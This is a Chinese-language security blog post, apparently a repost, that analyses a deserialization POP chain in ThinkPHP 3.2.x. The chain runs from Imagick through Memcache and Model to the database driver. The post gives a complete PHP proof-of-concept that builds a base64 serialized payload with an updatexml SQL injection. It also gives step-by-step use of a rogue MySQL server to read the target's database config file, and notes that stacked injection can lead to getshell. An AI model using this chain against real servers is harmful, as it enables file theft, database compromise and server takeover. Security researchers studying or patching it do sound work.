ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
2021-01-09 01:13:53 Author: wiki.ioin.in(查看原文) 阅读量:2375 收藏

测试环境

  • OS: MAC OS

  • PHP: 5.4.45

  • ThinkPHP: 3.2.3

环境搭建

直接在Web目录下Composer一把梭。

composer create-project topthink/thinkphp=3.2.3 tp3

然后访问首页

框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action即可。

POP链分析

起点

全局搜索function __destruct(,找一个起点。

文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

这里的$this->img可控,且调用了$this->imgdestroy()

跳板1

这时候我们需要一个有destroy()成员方法的一个跳板类,还是一样全局搜索function destroy(,成功找到一个可用的跳板类。

文件:/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

这里的destroy()方法需要传入一个$sessID,但是前面Imagick::__destruct中调用destroy()方法的时候并没有传值。

这里踩了下坑,因为在PHP7下起的ThinkPHP框架在这种情况下(调用有参函数时不传参数)会触发框架里的错误处理,从而报错。这块暂时没细究。

切换到PHP5继续往下分析。这里的$this->handle可控,并且调用了$this->handledelete()方法,且传过去的参数是部分可控的,因此我们可以继续寻找有delete()方法的跳板类。

跳板2

全局搜索function delete(,找到一个Model类。

文件:/ThinkPHP/Library/Think/Model.class.php

这里的$pk其实就是$this->pk,是完全可控的。


下面的$options是从跳板1传过来的,在跳板1中可以控制其是否为空。$this->options['where']是成员属性,是可控的,因此506行的条件我们可以控制,且508行的条件我们也是可以控制的。


所以我们可以控制程序走到509行。


509中又调用了一次自己$this->delete(),但是这时候的参数$this->data[$pk]是我们可控的。


这时delete()我们就可以成功带可控参数访问了。

这时候熟悉ThinkPHP的师傅们就应该懂了。这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去,也就是558行。且上面的一堆条件判断很显然都是我们可以控制的包括调用$this->db->delete($options)时的$options参数我们也可以控制。

那么这时候我们就可以调用任意自带的数据库类中的delete()方法了。

终点

文件:/ThinkPHP/Library/Think/Db/Driver.class.php

上面已经说过了,这边的参数是完全可控的,所以这里的$table是可控的,将$table拼接到$sql传入了$this->execute()

这里有一个初始化数据库链接的地方,跟过去看看。

可以通过控制成员属性,使程序调用到$this->connect()

可以看到这里是去使用$this->config里的配置去创建了数据库连接,接着去执行前面拼接的DELETESQL语句。

到此,我们就找到了一条可以连接任意数据库的POP链。

漏洞利用

此POP链的正常利用过程应该是:

  1. 通过某处leak出目标的数据库配置

  2. 触发反序列化

  3. 触发链中DELETE语句的SQL注入

但是如果只是这样,那么这个链子其实十分鸡肋。但是因为这里可以连接任意数据库,于是我想到了MySQL恶意服务端读取客户端文件漏洞
这样的话,利用过程就变成了:

  1. 通过某处leak出目标的WEB目录(e.g. DEBUG页面)

  2. 开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件

  3. 触发反序列化

  4. 触发链中PDO连接的部分

  5. 获取到目标的数据库配置

  6. 使用目标的数据库配置再次出发反序列化

  7. 触发链中DELETE语句的SQL注入

POC:

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

利用过程

开启恶意MySQL服务器,设置读取文件为目标的数据库配置文件。

接着将POC中的数据库连接配置改成恶意MySQL服务器的ip和端口。

使用POC运行后的结果去触发反序列化。

成功触发MySQL恶意服务端读取客户端文件漏洞。

将POC中的数据库连接配置替换为目标的数据库配置,且修改需要注入的SQL语句。

使用POC运行后的结果去触发反序列化。

成功完成SQL注入,而且因为ThinkPHP v3.2.*默认使用的是PDO驱动来实现的数据库类,因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的。
也就是说这里可以使用导出数据库日志等手段实现Getshell,或者使用UPDATE语句插入数据进数据库内等操作。

结尾

因为这里已经可以调用任意数据库类(不止MySQL)了,但是笔主目前只想到这种利用方式,如果有其他更骚的利用方式也欢迎各位大师傅们一起来交流分享。

引用链接

ThinkPHP3.2.3完全开发手册:https://www.kancloud.cn/manual/thinkphp/1678


文章来源: https://wiki.ioin.in/url/09KX
如有侵权请联系:admin#unsafe.sh